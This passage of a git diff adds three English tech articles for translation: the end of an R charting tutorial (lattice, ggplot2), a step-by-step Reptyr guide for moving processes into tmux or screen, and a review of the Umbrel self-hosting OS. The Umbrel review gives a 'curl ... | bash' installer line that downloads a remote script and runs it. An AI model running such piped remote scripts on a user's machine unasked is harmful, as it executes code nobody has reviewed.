box.ratio | Specifies the ratio of the width of rectangles in barchart | +| panel | Plots x and y variables in each panel | +| default.prepanel | A default function as a fallback to the prepanel function | +| auto.key | Used to produce a suitable legend | +| aspect | The physical aspect ratio of the panels | +| axis | A function responsible for drawing the axis annotation | +| horizontal | The orientation of the bar chart | +| subscripts | A logical flag to pass a ‘subscripts’ vector to the panel function | +| subset | A set of rows from the data is used in the plot | + +**Scatter plot** + +You can also display individual charts on a panel grid. For example, the all India consumer price index (rural/urban) data set up to November 2021 is available from https://data.gov.in/catalog/all-india-consumer-price-index-ruralurban-0 for the different states in India. We can read the data from the downloaded file using the read.csv function, as shown below: + +``` +> cpi <- read.csv(file=”CPI.csv”, sep=”,”) +``` + +``` +> head(cpi) +Sector Year Name Andhra.Pradesh Arunachal.Pradesh Assam Bihar +1 Rural 2011 January 104 NA 104 NA +2 Urban 2011 January 103 NA 103 NA +3 Rural+Urban 2011 January 103 NA 104 NA +4 Rural 2011 February 107 NA 105 NA +5 Urban 2011 February 106 NA 106 NA +6 Rural+Urban 2011 February 105 NA 105 NA +Chattisgarh Delhi Goa Gujarat Haryana Himachal.Pradesh Jharkhand Karnataka +1 105 NA 103 104 104 104 105 104 +2 104 NA 103 104 104 103 104 104 +3 104 NA 103 104 104 103 105 104 +4 107 NA 105 106 106 05 107 106 +5 106 NA 105 107 107 105 107 108 +6 105 NA 104 105 106 104 106 106 +``` + +The aggregate function can be used to obtain the values for the state of Andhra Pradesh as follows: + +``` +ap <- aggregate(x=cpi$Andhra.Pradesh, by=list(cpi$Year), FUN=sum) + +> head(ap) +Group.1 x +1 2011 3911.28 +2 2012 4255.40 +3 2013 4516.60 +4 2014 4673.60 +5 2015 4822.20 +6 2016 4921.50 +``` + +A simple scatter plot can be displayed for the consumer price indexes using the following arguments to the xyplot function: + +``` +> xyplot(x~Group.1, ap, main=”Andhra Pradesh Consumer Price Index upto November 2021”, xlab=”Year”, ylab=”Consumer Price Index”) +``` + +The corresponding scatter plot illustration is shown in Figure 3. + +![Figure 3: Scatter plot][4] + +#### Panel grid + +You can also visualise the values per year (Group.1) using the xyplot: + +``` +> xyplot(x~Group.1|Group.1, ap, groups=Group.1, main=”Andhra Pradesh Consumer Price Index upto November 2021”, xlab=”Year”, ylab=”Consumer Price Index”, auto.key=TRUE) +``` + +The output chart produced by R is as shown in Figure 4. + +![Figure 4: Grouping chart][5] + +In addition to the above listed plotting functions, lattice provides the bwplot function for box-and-whisker plots, and the stripplot function for one-dimensional scatter plots. + +### ggplot2 + +The ggplot2 R package implements a grammar of graphics that specifies how to plot data. You can install the package using the following command: + +``` +> install.packages(“ggplot2”) + +*** installing help indices +*** copying figures +** building package indices +** installing vignettes +** testing if installed package can be loaded from temporary location +** testing if installed package can be loaded from final location +** testing if installed package keeps a record of temporary installation path +* DONE (ggplot2) +``` + +The library needs to be loaded into the R session before you can use its functions: + +``` +library(ggplot2) +``` + +#### Scatter plot + +The same consumer prices (annual per cent) inflation data for India can be plotted using the quick plot or qplot function from the ggplot2 package in R. For example: + +``` +> x<-c(1960:2020) +> y<-c(1.77,1.69,3.63,2.94,13.35,9.47,10.80,13.06,3.23,-0.58,5.09,3.07,6.44,16.94,28.59,5.74,-7.63,8.30,2.52,6.27,11.34,13.11,7.89,11.86,8.31,5.55,8.72,8.80,9.38,7.07,8.97,13.87,11.78,6.32,10.24,10.22,8.97,7.16,13.23,4.66,4.00,3.77,4.29,3.80,3.76,4.24,5.79,6.37,8.34,10.88,11.98,8.85,9.31,11.06,6.64,4.90,4.94,3.32,3.94,3.72,6.62) +> d <- data.frame(x,y) +> qplot(x=x, y=y, data=d, xlab=”Year”, ylab=”Inflation”, main=”Inflation, consumer prices (annual %)”) +``` + +The simple scatter plot is shown in Figure 5. + +![Figure 5: Simple qplot][6] + +We can also store the results of the plot to a variable and ask R to provide a summary of the same, as shown below: + +``` +> ex1 <- qplot(x=x, y=y, data=d) +> summary(ex1) +data: x, y [61x2] +mapping: x = ~x, y = ~y +faceting: +compute_layout: function +draw_back: function +draw_front: function +draw_labels: function +draw_panels: function +finish_data: function +init_scales: function +map_data: function +params: list +setup_data: function +setup_params: function +shrink: TRUE +train_scales: function +vars: function +super: +----------------------------------- +geom_point: na.rm = FALSE +stat_identity: na.rm = FALSE +position_identity +``` + +#### Line chart + +We can generate a line chart by specifying the geom attribute as ‘line’, as shown below: + +``` +> qplot(x=x, y=y, data=d, xlab=”Year”, ylab=”Inflation”, main=”Inflation, consumer prices (annual %)”, geom=”line”) +``` + +The corresponding line graph is shown in Figure 6. + +![Figure 6: qplot line graph][7] + +The ‘Bank Marketing Data Set’ for a Portuguese banking institution is available from the UCI machine learning repository available at https://archive.ics.uci.edu/ml/datasets/Bank+Marketing. The data can be used for public research use. There are four data sets available, and we will use the read.csv() function to import the data from a ‘bank.csv’ file into a data frame. + +``` +bank <- read.csv(file=”bank.csv”, sep=”;”) + +> bank[1:3,] +age job marital education default balance housing loan contact day +1 30 unemployed married primary no 1787 no no cellular 19 +2 33 services married secondary no 4789 yes yes cellular 11 +3 35 management single tertiary no 1350 yes no cellular 16 +month duration campaign pdays previous poutcome y +1 oct 79 1 -1 0 unknown no +2 may 220 1 339 4 failure no +3 apr 185 1 330 1 failure no +``` + +### Bar chart + +The geometry argument can be specified as ‘bar’ to produce a bar chart, as indicated below: + +``` +> qplot(x=job, data=bank, geom=”bar”, weight=balance, ylab=”Balance”, xlab=”Category”) +``` + +The produced bar chart is shown in Figure 7. + +![Figure 7: Bar chart][8] + +We can also list a summary of the chart by storing the results of the plot to a variable, and invoking the summary function on the same. For example: + +``` +> barchart <- qplot(x=job, data=bank, geom=”bar”, weight=balance, ylab=”Balance”, xlab=”Category”) + +> summary (barchart) +data: age, job, marital, education, default, balance, housing, loan, +contact, day, month, duration, campaign, pdays, previous, poutcome, y +[4521x17] +mapping: x = ~job, weight = ~balance +faceting: +compute_layout: function +draw_back: function +draw_front: function +draw_labels: function +draw_panels: function +finish_data: function +init_scales: function +map_data: function +params: list +setup_data: function +setup_params: function +shrink: TRUE +train_scales: function +vars: function +super: +----------------------------------- +geom_bar: width = NULL, na.rm = FALSE, orientation = NA +stat_count: width = NULL, na.rm = FALSE, orientation = NA +position_stack +``` + +The qplot function accepts the following arguments: + +| Argument | Description | +| :- | :- | +| asp | The y/x aspect ratio | +| data | Optional data frame that contains x and y | +| geom | The geometry to use | +| main | The title of the chart | +| margin | Display margins | +| position | The adjustments to specify the position | +| x | X values | +| xlab | The x-axis label | +| xlim | The limits for the x-axis | +| y | Y values | +| ylab | The y-axis label | +| ylim | The limits for the y-axis | + +#### ggplot + +The ggplot function can be used to create a new ggplot object for input data, and also specify aesthetic mappings for the same. + +For the bank.csv data, we can tabulate the job and marital status together using the with function as follows: + +``` +> with(bank, table(job, marital)) +marital + +job divorced married single +admin. 69 266 143 +blue-collar 79 693 174 +entrepreneur 16 132 20 +housemaid 13 84 15 +management 119 557 293 +retired 43 176 11 +self-employed 15 127 41 +services 62 236 119 +student 0 10 74 +technician 89 411 268 +unemployed 22 75 31 +unknown 1 30 7 +``` + +You can now plot the above categorical data using ggplot, as follows: + +``` +> ggplot(bank, aes(x = job, fill = marital)) + geom_bar() +``` + +The resultant graph is shown in Figure 8. + +![Figure 8: ggplot categorical graph][9] + +The age distribution can be plotted as a density using the geom_density function as follows: + +``` +> ggplot(bank, aes(x = age)) + geom_density() +``` + +The corresponding graph is shown in Figure 9. + +![Figure 9: ggplot density graph][10] + +A box plot for the age and marital status can be visualised using the following arguments to ggplot: + +``` +> ggplot(bank, aes(x = age, y = marital)) + geom_boxplot() + coord_flip() +``` + +The output graph is as shown in Figure 10. + +![Figure 10: ggplot boxplot graph][11] + +The ggplot function accepts the following arguments: + +| Argument | Description | +| :- | :- | +| data | The data frame for the plot | +| mapping | The aesthetic mappings to be used in the plot | +| environment | The globalenv() environment for the aesthetics | + +Do try and explore more functions and charts in the graphics packages available in R. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/07/data-visualisation-in-r-graphs/ + +作者:[Shakthi Kannan][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/shakthi-kannan/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Data-Visualisation-in-R-Graphs-Featured-image.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-1-Line-chart.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-2-Bar-chart.jpg +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-3-Scatter-plot.jpg +[5]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-4-Grouping-chart.jpg +[6]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-5-Simple-qplot.jpg +[7]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-6-qplot-line-graph.jpg +[8]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-7-Bar-chart.jpg +[9]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-8-ggplot-categorical-graph.jpg +[10]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-9-ggplot-density-graph.jpg +[11]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-10-ggplot-boxplot-graph.jpg diff --git a/sources/tech/20220708 Reptyr – Move A Running Process From One Terminal To Another Without Closing It.md b/sources/tech/20220708 Reptyr – Move A Running Process From One Terminal To Another Without Closing It.md new file mode 100644 index 0000000000..868de4e8b5 --- /dev/null +++ b/sources/tech/20220708 Reptyr – Move A Running Process From One Terminal To Another Without Closing It.md @@ -0,0 +1,416 @@ +[#]: subject: "Reptyr – Move A Running Process From One Terminal To Another Without Closing It" +[#]: via: "https://ostechnix.com/reptyr-move-running-process-new-terminal/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Reptyr – Move A Running Process From One Terminal To Another Without Closing It +====== +This step by step tutorial explains what is **Reptyr** application and how to **move a running process to a new terminal using Reptyr command in Linux and Unix** operating systems. + +### Introduction + +Let us say, you are running a task in a remote server via a SSH session from your local system. + +When you started the task, you didn't know that the remote job would take long time to complete. You just want to leave the running job on the remote server itself, and close the SSH session without terminating the remote job, and then re-attach it to the SSH session later or at the next day. + +Of course, you can start the job in screen or tmux session, and detach from the screen session without exiting the remote job, and exit SSH session. + +But if you forgot to start the screen session in the first place, there is no way to reattach to the running process later. Once you closed the SSH session, the running processes will also be closed on the remote system. + +So, what would you do in such situation? Worry not! Here is where Reptyr command comes in help. + +### What Is Reptyr? + +**Reptyr** is a command line tool for moving running processes between ptys. + +Using Reptyr, we can easily migrate or move a long-running process from one Terminal to another Terminal instantly without terminate it. Reptyr uses **ptrace** system call to attach to the target program. + +Just start a long-running process on your remote system via SSH session from your local machine, and close the SSH session, go home, and re-attach the running process on the next day. + +Reptyr is an opensource command line application. It supports both Linux and FreeBSD. + +### Install Reptyr In Your Remote Linux Systems + +First of all, make sure you've installed **tmux** or **screen** in your remote systems in-order to move running process from local terminal to remote terminal. If you haven't installed tmux/screen yet, refer the following links. + +> **[Tmux Commands Examples To Manage Multiple Terminal Sessions In Linux][1]** + +> **[Screen Command Examples To Manage Multiple Terminal Sessions][2]** + +Next, you should install Reptyr application on your REMOTE systems. + +To install Reptyr in Arch Linux and its derivatives such as Endeavour OS and Manjaro Linux, run: + +``` +$ sudo pacman -S reptyr +``` + +In Debian, Ubuntu, Linux Mint, Pop!_OS, run the following command to install Reptyr: + +``` +$ sudo apt install reptyr +``` + +On Fedora, RHEL, CentOS, AlmaLinux, and Rocky Linux, reptyr can be installed from **EPEL** repository. + +To install EPEL repository in RHEL-based systems, run the following commands: + +``` +$ sudo dnf config-manager --set-enabled powertools +``` + +``` +$ sudo dnf install epel-release +``` + +After enabling EPEL repository, run the following command to install Reptyr: + +``` +$ sudo dnf install reptyr +``` + +### Install Reptyr From Source + +Install the necessary development tools as described in the following link. + +> **[How To Install Development Tools In Linux][3]** + +Git clone reptyr repository with command as `root` or `sudo` user: + +``` +$ git clone https://github.com/nelhage/reptyr.git +``` + +Go to the reptyr directory: + +``` +$ cd reptyr/ +``` + +Run the following commands to compile and install it. + +``` +$ make +``` + +``` +$ sudo make install +``` + +I compiled and installed Reptyr from source in CentOS 7 64 bit server edition, and it worked pretty good as described above. + +### Move A Running Process From One Terminal To Another Without Closing It Using Reptyr + +Make sure you installed the following on your remote Linux systems. + +* Reptyr. +* Tmux or Screen. + +#### Example 1: + +For demonstration purpose, I will be using the following system. + +* Remote system - Debian 11 Bullseye (username - ostechnix, IP - 192.168.1.20) + +##### Step 1 - SSH Into The Remote System + +Usually, we connect to the remote server from any local system via SSH as shown below. + +``` +ssh remote_username@IP_of_remote_system +``` + +I am going to SSH into my remote system(AlmaLinux 8) from my local system(Debian 11). + +``` +$ ssh ostechnix@192.168.1.20 +``` + +![SSH Into A Remote Linux System][4] + +Here, "ostechnix" is the remote system's username and "192.168.1.20" is the remote system's IP address. Replace these two values with your own. + +##### Step 2 - Start a Long-running Process + +After connecting to the remote system, start any long-running process. I will start "top" command. + +``` +$ top +``` + +Here is "top" command running in my AlmaLinux connected via SSH. Let us call it **Terminal 1**. + +![Running Top Command In Remote Linux System][5] + +As you see in the above output, I run "top" command in Debian 11 virtual machine via SSH from my local system. The top command will keep running until we manually stop it by pressing **CTRL+C**. + +What we are going to do now is simply move the top command process inside the tmux or screen session of our remote system(i.e. Debian 11) using Reptyr. And then we finally close the SSH session in our local system. During the transition, the top command will keep running without any interruption. + +##### Step 3 - Background The Process + +Now press **CTRL+Z** to put the process in the background. And then run **bg** to resume the process in the background. + +``` +$ bg +``` + +Verify the running background jobs with `jobs` command: + +``` +$ jobs -l +``` + +Here, the **-l** flag will list the PID of the background job. + +You will see the following output. + +``` +[1]+ 1972 Stopped (signal) top +``` + +![Background The Process][6] + +Note down the PID. We will need it later to attach the process to remote terminal. Here, the PID of top command is **1972**. + +##### Step 4 - Disown The Process + +Disown the running process from the current parent using command: + +``` +$ disown top +``` + +**Sample output:** + +``` +-bash: warning: deleting stopped job 1 with process group 1972 +``` + +Now the `jobs -l` command will not show the job anymore, but the **ps -a** command will. + +``` +$ ps -a + PID TTY TIME CMD + 1972 pts/1 00:00:00 top + 2061 pts/1 00:00:00 ps +``` + +![Disown The Process][7] + +##### Step 5 - Start A Tmux Or Screen Session + +Start a new Tmux or Screen session in the same terminal or new terminal window. For the sake of easy understanding, I am going to call the new tmux session as **Terminal 2**. + +``` +$ tmux +``` + +![Start A New Tmux Session][8] + +Please note that you should start the tmux/screen multiplexer in the remote(Debian 11) console, not in our local system's console. + +##### Step 6 - Attach To The Background Process + +Remember we put the top command in the background in **Step 3**. The PID of the background process is **1972**. If you don't remember the PID, run `ps -a` command. + +Now, attach to the background process with Reptyr using command: + +``` +$ reptyr 1972 +``` + +![Attach To The Background Process using Reptyr][9] + +That's it. We have successfully moved the background process inside the tmux sesssion. + +![Top Command Is Moved Into The Tmux Session][10] + +You can now safely detach from the Tmux session by pressing **CTRL+B** and **D**. It will only close the tmux session, but not the process(top command) which is running inside of it. + +We are back to the Terminal 1. Verify the list of active Tmux panes using command: + +``` +$ tmux list-panes -F '#{pane_active} #{pane_pid}' +1 2072 +``` + +Here, + +* pane_active will show 1 if active pane. +* pane_pid is the PID of first process in pane. + +##### Step 7 - Close The SSH Connection + +You can now close the SSH session. The process(Top command in our case) will keep running inside the Tmux session of your remote system as long as your remote system is up. Closing the SSH connection will not terminate the process. + +##### Step 8 - Reattach To Tmux + +To reattach to the process, simply SSH to your remote system: + +``` +$ ssh remote_user@remote_ip +``` + +And run the following command to attach the tmux session where the top process is still running. + +``` +$ tmux attach +``` + +![Reattach To Tmux][11] + +You will now see the running process inside the Tmux session. + +This way you can start any number of Tmux panes and move the running processes inside to each pane. + +Let me show you another example. + +#### Example 2: + +In this example, I use how to move a running process (E.g. wget) in CentOS server. + +**Step 1** - SSH into Remote system. + +**Step 2** - After you connected to the remote system, start a long-running process. For example, I am going to download Ubuntu 16.04 desktop ISO with **wget** command. + +``` +# wget http://cdimage.ubuntu.com/daily-live/current/xenial-desktop-amd64.iso +``` + +**Sample output:** + +![Download Ubuntu ISO][12] + +As you see in the above screenshot, the total download size is 1.5GB, and it will take more than 90 minutes to complete. + +I don't want to wait that much longer, and also I don't want to quit the remote job either. + +So, what I am going to do now is start a **screen** or **tmux** session in a new terminal, use **reptyr** utility to grab the running process inside the screen or tmux session.  Finally, I will terminate both ssh sessions, and reattach to the running process whenever I want. + +**Step 3** - Let us open a new terminal window or new tab, and start a screen or tmux session by typing **screen** or **tmux** in the terminal: + +``` +# screen +``` + +or + +``` +# tmux +``` + +![Start A Screen Session][13] + +As you see in the above screenshot, the screen session has been started and it is running. + +**Step 4** - Now, let us find the the running processes from the new Terminal by using the following command: + +``` +# ps -a +``` + +**Sample output:** + +``` +PID TTY TIME CMD + 2320 pts/0 00:00:11 wget + 2343 pts/1 00:00:00 screen + 2358 pts/2 00:00:00 ps +``` + +Note down the PID for the **wget** process, and attach the running process inside screen session using command: + +``` +# reptyr 2320 +``` + +![Attach The Running Process Inside Screen Session Using Reptyr][14] + +Done! As you see in the above screenshot, wget process has been moved (migrated) from old terminal to the new terminal window (the one running with screen session). + +Once you moved the running process from the original terminal (i.e. remote terminal), it will be closed immediately in the local terminal, and start to continue where we left it off in the new terminal. + +![Wget Download Process Is Stopped][15] + +**Step 5** - Now, you can safely detach or close the terminal and the job will continue running on your remote server. + +To detach from screen session, press **CTRL+A**and**D**. If it is Tmux session, press CTRL+B and D. + +After you detached from screen session, you will see the following output. + +``` +[detached from 2344.pts-1.server1] +``` + +**Step 6** - To reattach the running process, SSH to your remote system: + +``` +# ssh root@192.168.1.150 +``` + +Here. 192.168.1.150 is my remote server IP address. + +**Step 7** - And run the following if you use screen session: + +``` +# screen -Dr +``` + +For tmux session, run: + +``` +# tmux attach +``` + +Voila! The running process has been reattached again, and you'll see there that the download process is still running. + +![Move A Running Process From One Terminal To Another Using Reptyr][16] + +As you see in the above screenshot, wget job isn't interrupted or terminated, and is still running. It will continue to run as long as your remote system is up and running. + +### Summary + +To summing up, Reptyr is very very important and useful tool for a Linux users and system administrators of any level. In case you fed up with a process that took a really long time to complete, Reptyr will definitely be helpful. Just open a new Terminal window, SSH to your remote server, find the running processes ID, and safely move them inside the screen or tmux sessions, and exit from the SSH session. For further details, refer the links attached at the end of this tutorial. + +That's all for now folks. Well then, I leave you to get acquainted with this useful tool. Give it a try, and you won't be disappointed. + +**Resources:** + +* [Reptyr GitHub][17] +* [Reptyr guide][18] + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/reptyr-move-running-process-new-terminal/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/tmux-command-examples-to-manage-multiple-terminal-sessions/ +[2]: https://ostechnix.com/screen-command-examples-to-manage-multiple-terminal-sessions/ +[3]: https://ostechnix.com/install-development-tools-linux/ +[4]: https://ostechnix.com/wp-content/uploads/2022/07/SSH-Into-A-Remote-Linux-System.png +[5]: https://ostechnix.com/wp-content/uploads/2022/07/Running-Top-Command-In-Remote-Linux-System.png +[6]: https://ostechnix.com/wp-content/uploads/2022/07/Background-The-Process-2.png +[7]: https://ostechnix.com/wp-content/uploads/2022/07/Disown-The-Process-2.png +[8]: https://ostechnix.com/wp-content/uploads/2022/07/Start-A-New-Tmux-Session-1.png +[9]: https://ostechnix.com/wp-content/uploads/2022/07/Attach-To-The-Background-Process-using-Reptyr.png +[10]: https://ostechnix.com/wp-content/uploads/2022/07/Top-Command-Is-Moved-Into-The-Tmux-Session.png +[11]: https://ostechnix.com/wp-content/uploads/2022/07/Reattach-To-Tmux.png +[12]: https://ostechnix.com/wp-content/uploads/2016/03/root@server1_002-2.jpg +[13]: https://ostechnix.com/wp-content/uploads/2016/03/screen-0-root@server1-_003-1.jpg +[14]: https://ostechnix.com/wp-content/uploads/2016/03/screen-0-root@server1-_004-1.jpg +[15]: https://ostechnix.com/wp-content/uploads/2016/03/root@server1_005-1-1.jpg +[16]: https://ostechnix.com/wp-content/uploads/2016/03/screen-0-root@server1-_009-1.jpg +[17]: https://github.com/nelhage/reptyr +[18]: https://blog.nelhage.com/2011/02/changing-ctty/ diff --git a/sources/tech/20220708 Umbrel- Unique Linux Distro for Self Hosting Open Source Software for Your Homelab.md b/sources/tech/20220708 Umbrel- Unique Linux Distro for Self Hosting Open Source Software for Your Homelab.md new file mode 100644 index 0000000000..0ccfa44670 --- /dev/null +++ b/sources/tech/20220708 Umbrel- Unique Linux Distro for Self Hosting Open Source Software for Your Homelab.md @@ -0,0 +1,205 @@ +[#]: subject: "Umbrel: Unique Linux Distro for Self Hosting Open Source Software for Your Homelab" +[#]: via: "https://itsfoss.com/umbrel-review/" +[#]: author: "Pratham Patel https://itsfoss.com/author/pratham/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Umbrel: Unique Linux Distro for Self Hosting Open Source Software for Your Homelab +====== +Umbrel is a beautiful operating system as well as a services dashboard that is a good start for someone interested in self-hosting. It has a nice web GUI and enables easy installation of containerized web services with a one-click install. + +This is perfect if you want a homelab setup with open source software for personal usage but can’t (or don’t want to) do all the technical configuration manually. + +### Umbrel: Self-hoster’s paradise + +Well, it depends on how you install Umbrel. On [the website][1], there are two ways to “get” Umbrel. One is an image for the Raspberry Pi and another method is to install the Umbrel Docker image on an existing Linux installation as a Docker container. + +So *technically*, it is a management tool for Docker containers. + +![A Video from YouTube][2] + +I gave it a go with my Raspberry Pi 4 and here I share my experience and views on using Umbrel. + +#### Hardware support + +At the time of writing, there doesn’t seem to be an official guideline from Umbrel regarding this… + +But fret not! I flashed Umbrel to my SD Card and looked under the ‘/boot’ partition. The only kernel to be found was named ‘kernel8.img’. + +According to Raspberry Pi’s [official documentation][3], ‘kernel8’ means a 64-bit kernel, whereas ‘kernel7’ and ‘kernel7l’ are 32-bit kernels. + +As for non-Raspberry Pi hardware, below is a what I assume from my experience using Umbrel: + +* Any 64-bit CPU (all modern CPUs are 64-bit) +* Any Linux-based OS, Ubuntu/Debian is preferred +* Minimum 4 to 8 Gigabytes of RAM +* An external SSD/HDD in at least 750 Gigabytes of capacity (ALL DATA WILL BE ERASED ON FIRST BOOT) + +### Installing Umbrel + +If you like the idea of an operating system like Umbrel and you want to install it, you need to decide if you want to install it on a Raspberry Pi or on any other computer. + +NOTICE + +Umbrel is still in an early stage and things are expected to break every now and then. It is NOT recommended to run Umbrel in any mission-critical scenario yet.[][4] + +#### Raspberry Pi (64-bit) + +If you want to install Umbrel on a Raspberry Pi, it is available on their Github at [this link][5]. There will be three files available for download, please download the ‘umbrel-os-VERSION.zip’ file. + +While the Umbrel image gets downloaded, download an image-burning tool like [BalenaEtcher][6]. + +Once Umbrel and BalenaEtcher are downloaded, insert the SD Card and use BalenaEtcher to flash Umbrel on the SD Card. + +When the flashing finishes, insert the SD Card in the Raspberry Pi along with a 750+ Gigabyte HDD/SSD and boot your Raspberry Pi. + +The web GUI will now be available at [http://umbrel.local][7] from your web browser. + +#### Linux PC + +If you do not have a Raspberry Pi but have a *spare* computer running Debian/Ubuntu, you can easily install Umbrel using a simple script that is provided. + +The recommended way to do so is to run it with the curl command: + +``` +curl -L https://umbrel.sh | bash +``` + +The install script will install the necessary dependencies, Docker, Docker Compose and finally, the necessary containers. + +Upon successful installation, you will see the methods of accessing the web GUI. + +![Different ways of accessing Umbrel web GUI listed by the installer][8] + +Installing Umbrel on my Ubuntu VM, I got the following methods of accessing the web GUI. One is a domain name, the second is an IP address and the third is a TOR address. + +### Using Umbrel: The good and bad + +Like anything in this world, everything has its own positives and negatives. Umbrel is no exception. + +It excels at ease of use but fails at basic customization. + +#### The good parts + +Let’s kick off this review piece by taking a look at the good parts of Umbrel. Things I enjoyed while using Umbrel, and my experience. + +The web GUI is simply amazing and looks second to none. + +![The Umbrel web GUI (taken from umbrel.com)][9] + +##### App Store + +Umbrel, being advertised as an Operating System, comes with its own App Store. It has some of the most popular “self-hosting” software that you can imagine. Some of my favorite software available from the App Store are Gitea, Home Assistant, [Nextcloud][10], Pi-hole, Synapse, [Syncthing][11], Tailscale, Uptime Kuma, and much, much more. + +![The app store on Umbrel][12] + +The idea behind Umbrel’s App Store is very fascinating. Since Umbrel deals with Docker containers, the Apps are just docker-compose YAML files tailored to run on Umbrel. That is the most elegant solution I’ve ever seen yet! You can view those files [here][13]. + +![Easy, one click installation of containerized services from the App Store][14] + +That means complex software like Nextcloud is now a ‘one-click install’. + +##### Settings + +The Settings app in the web GUI shows useful metrics like storage and RAM usage. You can also shut down and restart your computer from the Umbrel web GUI itself. No longer need to SSH in a remote computer and run sudo shutdown +0 :) + +![The Settings app on Umbrel][15] + +The Settings app also lets you enable 2 Factor Authentication for the web GUI (not SSH connection). 2FA is always a good security feature. + +##### TOR + +Umbrel enables TOR by default. That allows you to access the Umbrel web GUI over a TOR network without any worries! + +That means, even if you are behind a router, you can remotely access your services like Nextcloud over the TOR network without having to get a public IP address or enable port forwarding from your router. Now this is extra cool! I need to do this for my homelab :p + +##### Bitcoin and Lightning + +Umbrel actually started as an open source software that allowed easily setting up a Bitcoin node. And it got popular in crypto enthusiasts who wanted to run their own nodes. + +The developers later realized that they don’t have to stick with a Bitcoin and other cryptocurrency software. They can extend this ‘one-click install’ feature to other popular open source software like Nextcloud, [PhotoPrism][16]. + +If you are interested in crypto, you can still find those software and install them. I don’t have any interest in the cryptocurrency and hence I didn’t install those software to check their performance. + +#### The bad parts + +Since Umbrel is still in v0.5, I will try not to go too hard, as I understand it takes time to implement certain features. But I still need to let *you* — the potential user — know the current situation with Umbrel. + +##### An empty external disk is a must + +The first problem I faced on my Raspberry Pi was that the **GUI would not start without an external HDD/SSD attached to it** :( + +Actually, it’s a requirement by design. Umbrel keeps the OS on one disk (the SD card of your Pi) and it needs a separate disk for the application data. + +**Do note that the external disk must not have any useful data because it will be erased the first time you install Umbrel.** + +##### No multiple disks (with Raspberry Pi) + +The second issue is that there are a few limitations with the Settings app on Umbrel’s web GUI. With a new drive attached, you can not add it to Umbrel to be used by apps like Nextcloud, Gitea, etc. Which essentially means, the inability to use separate drives. That further means no RAID, of any sort. + +I think this is more of an issue from the Raspberry Pi side as it cannot handle multiple external disks. + +##### Storage configuration issues + +The third “oversight” I encountered is that there seems no way to change the storage location for any app, before or after the installation. This is okay for devices with single physical storage, but not for a Raspberry Pi or an x86 computer where the host computer might have 2 or more drives attached to it. + +The only thing that you can manage about the apps is, to either install them or remove them. The web GUI does not (yet) let you change things like the port number that a container uses. + +Remember the previous notice that if you put in a HDD/SSD at *first* boot, all data on it gets erased? Well… What happens if you re-install Umbrel? Is your previous data, which was stored by Umbrel, now deleted by Umbrel itself? I don’t see if such checks like this are present or absent. + +### Conclusion + +All in all, if you are just starting with your home lab, I do recommend you give Umbrel-a-try (I’ll show myself out)! It puts your [Raspberry Pi to some good use][17]. + +It is a beautiful web GUI for simple management of containers, which can give you a good kickstart. If you want something that “just works” without getting fine-tuned control over knobs and switches, Umbrel is a good candidate for you. + +[Deployment from Scratch][18] + +**Don't sweat** taking web applications to **production**. + +Learn the core transferable skills of setting up Linux virtual servers and containers. Provision **web servers and databases**. + +![Deployment from Scratch][19] + +[Use 'linuxhandbook' coupon code][20] + +We earn a commission if you make a purchase, at no additional cost to you. + +#### Read More Articles + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/umbrel-review/ + +作者:[Pratham Patel][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/pratham/ +[b]: https://github.com/lkxed +[1]: https://umbrel.com/ +[2]: https://youtu.be/Uu1TuE6RdKM +[3]: https://www.raspberrypi.com/documentation/computers/linux_kernel.html#default_configuration +[4]: https://github.com/getumbrel/umbrel-os#%EF%B8%8F-contributing +[5]: https://github.com/getumbrel/umbrel-os/releases/latest +[6]: https://www.balena.io/etcher/ +[7]: http://umbrel.local +[8]: https://itsfoss.com/wp-content/uploads/2022/07/umbrel-address.webp +[9]: https://itsfoss.com/wp-content/uploads/2022/07/umbrel-web-gui-800x516.webp +[10]: https://itsfoss.com/nextcloud/ +[11]: https://itsfoss.com/syncthing/ +[12]: https://itsfoss.com/wp-content/uploads/2022/07/umbrel-app-store-800x451.webp +[13]: https://github.com/getumbrel/umbrel-apps +[14]: https://itsfoss.com/wp-content/uploads/2022/07/element-install-800x451.webp +[15]: https://itsfoss.com/wp-content/uploads/2022/07/umbrel-settings-800x451.webp +[16]: https://photoprism.app/ +[17]: https://itsfoss.com/raspberry-pi-projects/ +[18]: https://itsfoss.com/go/deployment-from-scratch-link/ +[19]: https://itsfoss.com/go/deployment-from-scratch-link/ +[20]: https://itsfoss.com/go/deployment-from-scratch-link/ diff --git a/sources/tech/20220709 DAT Linux- Perfect Distro for Data Science Based on Ubuntu LTS.md b/sources/tech/20220709 DAT Linux- 